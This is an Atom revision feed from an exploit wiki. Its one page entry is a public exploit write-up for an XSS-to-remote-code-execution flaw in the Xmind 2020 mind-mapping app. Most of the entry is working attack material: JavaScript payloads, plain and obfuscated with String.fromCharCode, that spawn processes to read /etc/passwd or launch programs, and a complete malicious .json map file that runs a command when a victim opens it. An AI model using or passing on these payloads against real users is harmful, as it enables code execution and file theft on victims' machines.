<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Xmind_2020_XSS%26RCE%E6%BC%8F%E6%B4%9E</id>
	<title>Xmind 2020 XSS&amp;RCE漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Xmind_2020_XSS%26RCE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Xmind_2020_XSS%26RCE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T21:24:56Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Xmind_2020_XSS%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=2482&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Xmind 2020 - XSS to RCE # Exploit Author: TaurusOmar # Date: May 4th, 2021 # CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H # Risk: High (8.8) # V...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Xmind_2020_XSS%26RCE%E6%BC%8F%E6%B4%9E&amp;diff=2482&amp;oldid=prev"/>
		<updated>2021-05-05T12:15:31Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Xmind 2020 - XSS to RCE # Exploit Author: TaurusOmar # Date: May 4th, 2021 # CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H # Risk: High (8.8) # V...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Xmind 2020 - XSS to RCE&lt;br /&gt;
# Exploit Author: TaurusOmar&lt;br /&gt;
# Date: May 4th, 2021&lt;br /&gt;
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H&lt;br /&gt;
# Risk: High (8.8)&lt;br /&gt;
# Vendor Homepage: https://www.xmind.net/&lt;br /&gt;
# Version: 2020&lt;br /&gt;
# Tested on: Windows, Linux, MacOs&lt;br /&gt;
&lt;br /&gt;
# Software Description:&lt;br /&gt;
XMind, a full-featured mind mapping and brainstorming tool, designed to generate ideas, inspire creativity, brings efficiency both in work and life. Millions and millions of WFH people love it.&lt;br /&gt;
Many great products start with a small idea. Mind map can really be useful at the beginning of a project. Use it to record every idea in the meeting, you might be surprised by the difference and achievement it makes in the long run.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Vulnerability Description:&lt;br /&gt;
The software allows you to store payloads in the form of files or as custom header titles, once the malicious code is entered, the payload will be executed when the victim moves the mouse or clicks.&lt;br /&gt;
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the&lt;br /&gt;
the remote attacker to get remote execution on the computer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#Proof video&lt;br /&gt;
https://imgur.com/a/t96Nxo5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Payload 2: exec(/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
#Decode Payload&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
const { spawn } = require(&amp;quot;child_process&amp;quot;);&lt;br /&gt;
const cat = spawn(&amp;quot;cat&amp;quot;, [&amp;quot;/etc/passwd&amp;quot;]);&lt;br /&gt;
cat.stdout.on(&amp;quot;data&amp;quot;, data =&amp;gt; {&lt;br /&gt;
    alert(`stdout: ${data}`);&lt;br /&gt;
});&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#Encode Payload&lt;br /&gt;
&amp;lt;img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,99,111,110,115,116,32,123,32,115,112,97,119,110,32,125,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,59,10,99,111,110,115,116,32,99,97,116,32,61,32,115,112,97,119,110,40,34,99,97,116,34,44,32,91,34,47,101,116,99,47,112,97,115,115,119,100,34,93,41,59,10,99,97,116,46,115,116,100,111,117,116,46,111,110,40,34,100,97,116,97,34,44,32,100,97,116,97,32,61,62,32,123,10,32,32,32,32,97,108,101,114,116,40,96,115,116,100,111,117,116,58,32,36,123,100,97,116,97,125,96,41,59,10,125,41,59,60,47,115,99,114,105,112,116,62))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Payload 2: exec(calc)&lt;br /&gt;
&lt;br /&gt;
#Decode Payload&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var Process = process.binding('process_wrap').Process;&lt;br /&gt;
var proc = new Process();&lt;br /&gt;
proc.onexit = function(a,b) {};&lt;br /&gt;
var env = process.env;&lt;br /&gt;
var env_ = [];&lt;br /&gt;
for (var key in env) env_.push(key+'='+env[key]);&lt;br /&gt;
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#Encode Payload&lt;br /&gt;
&amp;lt;img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# File Malicious.json Payload&lt;br /&gt;
&lt;br /&gt;
[{&amp;quot;id&amp;quot;:&amp;quot;5609f1388fd8c10e8f8798f104&amp;quot;,&amp;quot;class&amp;quot;:&amp;quot;sheet&amp;quot;,&amp;quot;title&amp;quot;:&amp;quot;Map 1&amp;quot;,&amp;quot;rootTopic&amp;quot;:{&amp;quot;id&amp;quot;:&amp;quot;b9aa22deba98b3b20c7ac8aca2&amp;quot;,&amp;quot;class&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;title&amp;quot;:&amp;quot;\&amp;quot;&amp;gt;'&amp;gt;&amp;lt;img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,108,101,116,32,123,32,115,112,97,119,110,32,125,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,59,10,108,101,116,32,108,115,32,61,32,115,112,97,119,110,40,34,108,115,34,44,32,91,34,45,108,97,34,93,41,59,10,108,115,46,115,116,100,111,117,116,46,111,110,40,34,100,97,116,97,34,44,32,100,97,116,97,32,61,62,32,123,10,32,32,32,32,97,108,101,114,116,40,96,115,116,100,111,117,116,58,32,36,123,100,97,116,97,125,96,41,59,125,41,59,60,47,115,99,114,105,112,116,62,10,10))&amp;gt;&amp;quot;,&amp;quot;structureClass&amp;quot;:&amp;quot;org.xmind.ui.map.unbalanced&amp;quot;,&amp;quot;children&amp;quot;:{&amp;quot;attached&amp;quot;:[{&amp;quot;id&amp;quot;:&amp;quot;b58888b5ceebbf0e68dada0656&amp;quot;,&amp;quot;title&amp;quot;:&amp;quot;Main Topic 1&amp;quot;,&amp;quot;titleUnedited&amp;quot;:true},{&amp;quot;id&amp;quot;:&amp;quot;193b56735e689ae86a01d91513&amp;quot;,&amp;quot;title&amp;quot;:&amp;quot;Main Topic 2&amp;quot;,&amp;quot;titleUnedited&amp;quot;:true},{&amp;quot;id&amp;quot;:&amp;quot;67ddbcb1-85c9-4478-a0aa-580e9fdcd971&amp;quot;,&amp;quot;title&amp;quot;:&amp;quot;Main Topic 3&amp;quot;,&amp;quot;titleUnedited&amp;quot;:true}]},&amp;quot;extensions&amp;quot;:[{&amp;quot;content&amp;quot;:[{&amp;quot;content&amp;quot;:&amp;quot;3&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;right-number&amp;quot;}],&amp;quot;provider&amp;quot;:&amp;quot;org.xmind.ui.map.unbalanced&amp;quot;}]},&amp;quot;theme&amp;quot;:{&amp;quot;id&amp;quot;:&amp;quot;c669ec6d4d48895260d968fc99&amp;quot;,&amp;quot;importantTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-weight&amp;quot;:&amp;quot;bold&amp;quot;,&amp;quot;fo:color&amp;quot;:&amp;quot;#2b2b2b&amp;quot;,&amp;quot;svg:fill&amp;quot;:&amp;quot;#FFDC34&amp;quot;}},&amp;quot;minorTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-weight&amp;quot;:&amp;quot;bold&amp;quot;,&amp;quot;fo:color&amp;quot;:&amp;quot;#2b2b2b&amp;quot;,&amp;quot;svg:fill&amp;quot;:&amp;quot;#AB9738&amp;quot;}},&amp;quot;expiredTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-style&amp;quot;:&amp;quot;italic&amp;quot;,&amp;quot;fo:text-decoration&amp;quot;:&amp;quot; line-through&amp;quot;}},&amp;quot;centralTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;9a13b7d6-cd05-44c3-b903-6c3a50edc46e&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;shape-class&amp;quot;:&amp;quot;org.xmind.topicShape.roundedRect&amp;quot;,&amp;quot;svg:fill&amp;quot;:&amp;quot;#1B1B1D&amp;quot;,&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;,&amp;quot;fo:font-weight&amp;quot;:&amp;quot;600&amp;quot;,&amp;quot;fo:font-style&amp;quot;:&amp;quot;normal&amp;quot;,&amp;quot;line-width&amp;quot;:&amp;quot;3&amp;quot;,&amp;quot;line-color&amp;quot;:&amp;quot;#292929&amp;quot;,&amp;quot;border-line-width&amp;quot;:&amp;quot;0&amp;quot;}},&amp;quot;map&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;map&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;f0e1f9bb-a8f5-486a-a70a-b72b2b6560d3&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;svg:fill&amp;quot;:&amp;quot;#000000&amp;quot;}},&amp;quot;subTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;9ea90eed-1da0-4c93-bac4-2085e16a0faf&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;,&amp;quot;svg:fill&amp;quot;:&amp;quot;#636366&amp;quot;,&amp;quot;shape-class&amp;quot;:&amp;quot;org.xmind.topicShape.roundedRect&amp;quot;,&amp;quot;fo:font-size&amp;quot;:&amp;quot;14pt&amp;quot;,&amp;quot;fo:text-align&amp;quot;:&amp;quot;left&amp;quot;,&amp;quot;border-line-width&amp;quot;:&amp;quot;0&amp;quot;,&amp;quot;fo:color&amp;quot;:&amp;quot;#FFFFFF&amp;quot;}},&amp;quot;mainTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;42065f7f-018c-4eb9-9dc7-3a7bbf464915&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;,&amp;quot;svg:fill&amp;quot;:&amp;quot;#3A3A3C&amp;quot;,&amp;quot;border-line-width&amp;quot;:&amp;quot;0&amp;quot;,&amp;quot;fo:font-weight&amp;quot;:&amp;quot;600&amp;quot;,&amp;quot;fo:font-style&amp;quot;:&amp;quot;normal&amp;quot;,&amp;quot;fo:font-size&amp;quot;:&amp;quot;18pt&amp;quot;,&amp;quot;fo:text-align&amp;quot;:&amp;quot;left&amp;quot;,&amp;quot;fo:color&amp;quot;:&amp;quot;#FFFFFF&amp;quot;,&amp;quot;line-width&amp;quot;:&amp;quot;2&amp;quot;}},&amp;quot;summaryTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;c8f4c32b-2607-4fae-bb85-b8736039e941&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;,&amp;quot;svg:fill&amp;quot;:&amp;quot;#8E8E93&amp;quot;,&amp;quot;fo:font-weight&amp;quot;:&amp;quot;500&amp;quot;,&amp;quot;fo:font-style&amp;quot;:&amp;quot;normal&amp;quot;,&amp;quot;line-color&amp;quot;:&amp;quot;#292929&amp;quot;,&amp;quot;border-line-width&amp;quot;:&amp;quot;0&amp;quot;}},&amp;quot;calloutTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;6f8bd667-fb82-4d0d-899f-05dc76c5945e&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;,&amp;quot;svg:fill&amp;quot;:&amp;quot;#8E8E93&amp;quot;,&amp;quot;fo:font-size&amp;quot;:&amp;quot;14pt&amp;quot;,&amp;quot;fo:font-weight&amp;quot;:&amp;quot;500&amp;quot;,&amp;quot;fo:font-style&amp;quot;:&amp;quot;normal&amp;quot;}},&amp;quot;floatingTopic&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;topic&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;c9509bc2-2641-4f5f-8b38-e62c14c907f9&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;,&amp;quot;border-line-width&amp;quot;:&amp;quot;0&amp;quot;,&amp;quot;fo:font-weight&amp;quot;:&amp;quot;500&amp;quot;,&amp;quot;fo:font-style&amp;quot;:&amp;quot;normal&amp;quot;,&amp;quot;line-width&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;line-color&amp;quot;:&amp;quot;#292929&amp;quot;}},&amp;quot;boundary&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;boundary&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;0d7cf959-3b54-4849-88e1-cc0fc8c60341&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;svg:fill&amp;quot;:&amp;quot;#545455&amp;quot;,&amp;quot;shape-class&amp;quot;:&amp;quot;org.xmind.boundaryShape.roundedRect&amp;quot;,&amp;quot;line-color&amp;quot;:&amp;quot;#5D5D60&amp;quot;,&amp;quot;fo:font-weight&amp;quot;:&amp;quot;500&amp;quot;,&amp;quot;fo:font-style&amp;quot;:&amp;quot;normal&amp;quot;,&amp;quot;fo:color&amp;quot;:&amp;quot;#FFFFFF&amp;quot;,&amp;quot;fo:font-size&amp;quot;:&amp;quot;13pt&amp;quot;,&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;}},&amp;quot;relationship&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;relationship&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;57da2f8e-3f8d-47ee-a802-93023fc802c1&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;line-color&amp;quot;:&amp;quot;#8E8E93&amp;quot;,&amp;quot;line-width&amp;quot;:&amp;quot;2&amp;quot;,&amp;quot;fo:font-weight&amp;quot;:&amp;quot;500&amp;quot;,&amp;quot;fo:font-style&amp;quot;:&amp;quot;normal&amp;quot;,&amp;quot;fo:font-family&amp;quot;:&amp;quot;Montserrat&amp;quot;,&amp;quot;fo:color&amp;quot;:&amp;quot;#FFFFFF&amp;quot;,&amp;quot;fo:font-size&amp;quot;:&amp;quot;13pt&amp;quot;}},&amp;quot;summary&amp;quot;:{&amp;quot;type&amp;quot;:&amp;quot;summary&amp;quot;,&amp;quot;styleId&amp;quot;:&amp;quot;ddeb9d94-1678-4129-8796-42b036e08dd2&amp;quot;,&amp;quot;properties&amp;quot;:{&amp;quot;line-color&amp;quot;:&amp;quot;#5A5A5A&amp;quot;}}},&amp;quot;topicPositioning&amp;quot;:&amp;quot;fixed&amp;quot;}]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>